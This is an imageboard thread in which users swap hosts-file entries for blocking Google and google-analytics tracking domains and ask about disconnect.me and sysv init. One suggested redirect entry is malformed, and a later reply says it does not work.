Also is disconnect.me good? Any better suggestions?

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Did sysv init originally have those `[ ok ]` indications and was there ever a `service` command as a shortcut to executing the scripts?

>>62276147

127.0.0.1 www.google.com
::1 www.google.com

in your / etc / hosts file

->
-> >>62276224
->

>>62276147
>>62276231
Whoops, I meant

search.disconnect.me www.google.com

in your hosts file. I guess that 1 line should be enough. The other post would be for blocking google completely

>>62276231
>>62276244
Also good entries:

0.0.0.0 google-analytics.com
0.0.0.0 www.google-analytics.com
0.0.0.0 ssl.google-analytics.com

>>62276277
Damn thanks for reminding me I still had to block these and facebook on my new install

>>62276277
Thanks! I blocked google but the redirect doesn't seem to work.

>>62273464
Thanks a lot! I'll try it out this afternoon.